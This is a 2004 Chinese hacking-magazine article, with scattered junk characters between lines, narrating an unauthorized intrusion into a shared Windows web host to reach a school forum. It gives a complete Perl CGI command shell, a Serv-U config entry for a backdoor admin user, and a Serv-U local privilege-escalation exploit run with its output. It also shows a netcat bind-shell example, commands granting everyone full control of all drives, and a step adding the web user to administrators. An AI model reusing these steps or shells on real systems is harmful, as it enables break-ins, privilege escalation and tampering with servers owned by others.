剑走偏锋——灵巧的旁注攻击
: E6 i4 g& u$ \5 o9 q5 w/ L4 O本文作者:angel2 M9 F! T( ] b# \) I5 T
文章性质:原创
3 u0 P) r" `" g) _! y' M S2 \% r发布日期:2004-11-09
7 c A2 X5 e, @3 m8 J% a m注意:* G5 r( h$ e8 \+ f& y7 c
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
- M K7 [! ?" [$ ~本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
6 S6 |5 ^3 @* t! n' h* \0 j- M: x$ R5 g
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 0 ?5 g7 h/ V; t
7 j' P& D1 r8 {9 @# o! I
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
`% V' I* |3 ?# X
- u0 _, a- S: p: {# I 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
; y, Q2 u) S4 I8 }% }6 @: l
. ~) }9 \4 c3 O b4 e 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 7 H+ t- P# e: ^6 E8 u, J3 r n4 f1 R
4 O7 q- N* m8 d" H5 k* a5 I! z 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
* q8 w2 ~0 W* k' o# y, l
- ]0 m/ a4 E# ?8 L1 g 没有目的的跳转目录着……
- m2 I4 Z8 l E. g/ z2 @) Q z7 v2 ?7 h- l! R% Q4 B/ B. s _6 M
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
$ e0 _2 n/ k3 S4 I
$ J& x& o4 b+ `! a4 H 结束了吗?不,我试着 FTP 一下: 0 f0 K" p2 m' X- v. J% [
3 E3 B7 {0 U* i0 O9 x. x
Microsoft Windows 2000 [Version 5.00.2195]6 b$ s/ r0 `2 {8 }
(C) 版权所有 1985-2000 Microsoft Corp. 9 f. ^% Y9 }" s7 [
% J& o' z& _* ?7 f9 P$ q
C:\Documents and Settings\Administrator>ftp www.school.com
\( v& \4 J, ^8 cConnected to www. school.com. . R, l! X, r) d9 l" V; i, @
220 Welcome to FTP Server... : i* L* M! u. t; q5 Q
User (www.bjtrq.com:(none)): # \4 s8 P! x1 d
331 User name okay, need password.
- v9 l6 E0 J; P0 Z% K5 u9 hPassword: 7 K+ q+ r9 n- T6 F$ w
530 Not logged in. . I3 i7 A: s. Y, |3 j/ A2 s1 k2 b
Login failed. 5 ?' U# H# V* G% O
ftp> bye , p/ f8 s, o# J M
221 Goodbye! 4 |9 Z7 j; W- D9 J) `" P! x, r
7 w, Y6 s& n# v9 V3 H0 j$ Y
* X1 P" v% N% T8 P1 d$ d0 W# i
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 4 Q3 W9 [, W$ O( N+ `# X- P0 B. r
7 |' `5 [# l% y7 n9 E7 E 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
3 z) w) \, f/ L2 W! H' p
( m6 Z- R" i( ~: hApplication Data
+ D: e' I: q6 g1 y0 WDocuments
9 n5 u2 d; F- `* P" ZDRM- u0 e3 S/ a% m+ }& J8 Q% `4 e
Favorites' M9 h7 M8 s2 j* o a
Templates
4 v8 l$ _% {; G) W, b+ `* g" G: @「开始」菜单
& I" c" u& e8 t' [6 b1 i! {: S桌面
. ^8 K( `: R, D; }6 R3 j, v8 m) k $ i( G7 o3 e# `/ t
4 k, f- W3 r' M! w, e" m" w
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
6 e/ k; L7 H6 m' z8 \ Z% |
k' _) j) }) L$ N: XActiveState ActivePerl 5.8$ f. B) ]' E' ?: v: d
Administrative Tools( A: \& r4 _4 _
Deerfield.com8 I X; u, i) @ [
DTemp
, b L' k" W+ G6 yIPSentry+ L7 T" A' x3 V% Q4 E, t4 k. B0 ^
MBM 5
1 B$ `* V; A h# i' s7 u2 {NetMeter" v4 i" n/ C6 g
Network ICE2 P0 s1 R8 @" E) L8 p: ]
Persits Software AspEmail
`; o- ]' V9 VPersits Software AspJpeg. O$ d) t; J+ {, v! c
Serv-U FTP Server" n4 g( r# m3 [; _" j* _
Symantec Client Security8 Y, Q* y0 x* } h. G! U
Windows 优化大师
+ A! k# o& I0 h" `WinRAR9 K' Y$ A. l0 A3 v, X
启动( x* T. C1 w2 Y: H" g
管理工具7 p3 R4 y/ s( e" _
附件
5 _, T% l, F3 ]3 X# z
6 ]. y- Q# o$ v8 R4 T8 @7 B8 D5 m2 R# I* | P; p
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 : k' B1 S" x/ n) K) `* j& _
7 m& S& ~5 Y1 P' {
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
( }5 i: m& k8 j) W* S& @, m8 ^% X4 U: }8 y- x" X( C! `6 [1 s
User281=angel|1|0 , }' l: u# z/ D4 @
$ Z+ d0 Y0 N/ l. g3 U% c
# @# t5 ]3 m. w& M- y
然后加上 ( |: J: x( }- m) n8 K4 n0 n
% I1 Y( {' w/ J" N7 Q% N[USER=angel|1]
2 |& G, k& s( ]2 w8 s$ U U( nPassword=ng98F85379EA68DBF97BAADCA99B69B805
4 ]% O# I2 D& D1 n" E4 Z0 f' J4 CHomeDir=D:\websites
6 E% y" P) R- k( _& Q4 u* ~% |4 zRelPaths=1
" _' _0 C: g6 f: v0 C7 KTimeOut=600% t) N, H! {$ e# u3 V2 C
Maintenance=System* s+ X+ `; P& W* q# P
Access1=D:\websites|RWAMELCDP
9 ?: N' ?: H& ?9 G6 I. X* A$ ]SKEYValues=
7 F; G6 L* C2 d7 L % _' \& ]( R8 x. S1 ^5 @
8 h* P& T+ B$ ] 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… 9 `8 J0 k) Z0 L' v ^5 R
: i3 H! ]& I' [. E2 ~% Q
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 6 }, e0 b' c# F- q j/ N# h+ B* h( o
/ I7 G. |2 l; I- {
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
d. a e2 s0 f* q! ^ M) R- X/ M
9 L6 X0 O, G0 h. u. ^9 V5 J 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: , A! e0 `2 j s* k: [
5 J, ^% E7 L% g% O
#!/usr/bin/perl5 W- z# g9 ]. D# F( S% {
binmode(STDOUT);
* ^. r- T5 g1 ^2 I. m, _6 Xsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);3 ?. P% K! Z( g" {; x/ G
$_ = $ENV{QUERY_STRING};
# i c. K2 s0 D( P& X- I# Hs/%20/ /ig;9 [) l( [5 C- A& U9 |! b
s/%2f/\//ig;- t2 y) D% j4 L3 B, [; [1 u+ j
$execthis = $_;$ u1 `! c6 o ]' ?
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
: k- z* N' @; iopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";$ m& L ]& g F) u' J
system($execthis);
/ m# L5 c" B/ d; E7 fsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
: G. A' l" ~5 J3 j# Z K' Q1 `close(STDERR);+ K% N! A* a# W2 l) D
close(STDOUT);
. b! h7 q6 E2 ?7 S/ aexit;
q2 _! R7 ` ?9 j' I+ h) j
+ M( P4 ]! ^% i: y7 ^8 }
: p# P' t) M6 ? 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! - Z# T) b* C$ A& K8 @, r& [
" a- k. G1 `( f: w- H
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
8 c& Z8 v# q! {& S; s) W, p
6 b' _! U. d6 r. U7 H# k& chttp://anyhost//cmd.pl?d:\user\bin\su.exe % @4 Z' Y" C% R6 y; x
( U f4 f9 ]- Y
1 e8 L9 r, U/ J, M 返回: 7 L! F5 v% l) p# y( e
k" l; S. n/ S' p" o6 iServ-u >3.x Local Exploit by xiaolu
& I- f, z5 }$ I. r) v8 U3 B" i2 l/ g) O
USAGE: serv-u.exe "command"
& {$ m3 e. r2 o! ?; G3 ]+ b0 E
( {" X& V# {. Q' UExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 2 ?% r% g& R. U, e
0 }5 _1 [' d& [& `$ P$ q6 M" ^6 Z
# M+ {8 e- F. H, O7 E 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 3 @3 O9 d. Y* E7 x! E
4 Y: r$ U& L- k1 j3 s* t, O: B
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" ; \8 h+ j% O1 o" ^7 s) p( G' n z0 Z# @
; a+ q4 t$ E# m- ?. ^7 _' p
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 7 @% G) g" f) F4 q5 a! Q
+ a9 E; r4 i$ X/ K9 w7 m3 Nhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
3 a0 E$ i+ O# Z; ~9 n: [0 k! W6 P- ~! Q: |4 w- w* [* i! W
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 3 @* |* m. t9 [, d+ [1 K
2 a& S0 I1 [$ I5 a" O* ~6 H) Z, M' \7 c6 o3 {
返回下面的信息,就表示成功了!!! # p5 h8 X# a+ S4 H4 Y# \8 x/ @
" D6 h+ p/ K0 d. @$ i
Serv-u >3.x Local Exploit by xiaolu
: i$ b" R9 n. K* h) }. g' B5 Y$ {( C) U) |5 V! ^ I' B1 [8 y" G# L
<220 Serv-U FTP Server v5.2 for WinSock ready...
1 r* t1 ~8 u$ \+ }
2 Z# X! X3 e) a1 L* j>USER LocalAdministrator ! z- w- u) t2 |! h
9 @ O8 t8 O- \9 i
<331 User name okay, need password.
* E) g- L' s# q
/ M* a+ O1 _4 w9 s4 W3 m$ y2 r******************************************************
, J7 B% K- ~! L2 c' M p0 s
! R$ P1 l0 I( Y6 Z% C>PASS #l@$ak#.lk;0@P
) D9 @: s6 e& |: f5 a: M$ K% b6 I8 g+ u. Z# j9 Z$ M4 X
<230 User logged in, proceed.
( _* E" t1 ~5 c1 a2 X
8 C2 K1 N s6 m @: c****************************************************** % {. u) m/ C( _1 x& V
4 v5 e& @' p6 [$ [/ \9 Q( B2 m1 I1 Y>SITE MAINTENANCE
4 k( j+ e& C# Z4 v; \ u, a7 c! x3 Q5 m) E* E+ z
****************************************************** + I2 D! I. ]1 K h" M- p( c
7 ]# R @! D. X3 i
[+] Creating New Domain... 3 A: Y! u) P! }+ D; O2 [9 I, _' b% D
/ ]7 B8 i. x; M. {<200-DomainID=2
p) |# n) j C* \- D0 j* m
6 `. {. c3 N }, ?<220 Domain settings saved 9 w( |7 y; o+ a
5 b2 f) H9 g4 V; k, @8 {8 H3 N0 t****************************************************** % v8 I# N2 D8 x. ?+ l
! j4 H5 V; S4 b* o( F: ^6 [
[+] Domain xl:2 Created . R! f2 f( P7 @) R0 C
, p# v2 K- J6 I9 L0 [3 G* |[+] Creating Evil User : L% |: d% d) g5 m
' Z- c; j; O- i
<200-User=xl
7 u2 Z& p% ?3 t+ w6 w& ]# l4 ~+ `/ A& A% P9 S5 O/ I# f8 F8 Y" k f
200 User settings saved
+ O3 e1 e7 o" A9 v" u
5 R) X1 U: h* \% t2 j- m J P****************************************************** " k* X- @! f8 B* y
# C+ r& N' H, S[+] Now Exploiting... 0 m# q; Z' k- q8 e3 }& J
) q3 e' G6 n* u* {7 C- x* @, \>USER xl
' `9 B' ?9 A6 y! z t
$ u! o- [9 } T0 e( A0 o<331 User name okay, need password. 6 X% Q7 L7 D- Z; `, x6 T |- t9 K9 [
9 C# s1 _# D* ?: A5 g, V0 w3 }9 x2 `******************************************************
! `* C9 R8 v, N/ f% S
1 S, v7 l0 e9 _, ~1 ~2 j, s>PASS 111111
% ] K5 ~* y7 S/ |4 I3 v$ k9 p* l2 O$ F0 ?% H9 O
<230 User logged in, proceed.
% g* R' v/ d3 F: [' [# q. I4 w" u% Q4 V" t/ [+ `2 V. V
****************************************************** % K6 P: I7 ~0 F. }
/ V E* X% d/ ^
[+] Now Executing: cacls.exe c: /E /T /G everyone:F ) ]7 {8 I) _* Z7 I3 a
! @! _& m$ `5 r2 I0 v5 p' D<220 Domain deleted / k/ _: J+ s T2 ^& q# n; e# e
" R1 H9 f: v2 x8 W
******************************************************
$ k8 ]" F; X7 O/ s E5 t1 j* _* J ]; j/ m+ ]: B! J
9 I( Y) T' G+ O% B4 n) u% ~) a 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 9 I! r R6 }% R
' e) \) g4 I; H# Lhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" & c+ A% j B0 U2 q6 }* z5 f1 w
6 f0 Z8 k; _% g5 h5 m9 U- P7 i4 v9 m. d+ A1 h
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 3 S% y5 H- y) e; a7 A% I8 D0 n
/ L# ~( H3 G! S$ Q& m
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。+ h, A) J8 y! `1 `- x0 u
0 ~* Z/ a l0 G1 ]
" b/ g4 V) a9 E; W2 F, D1 l |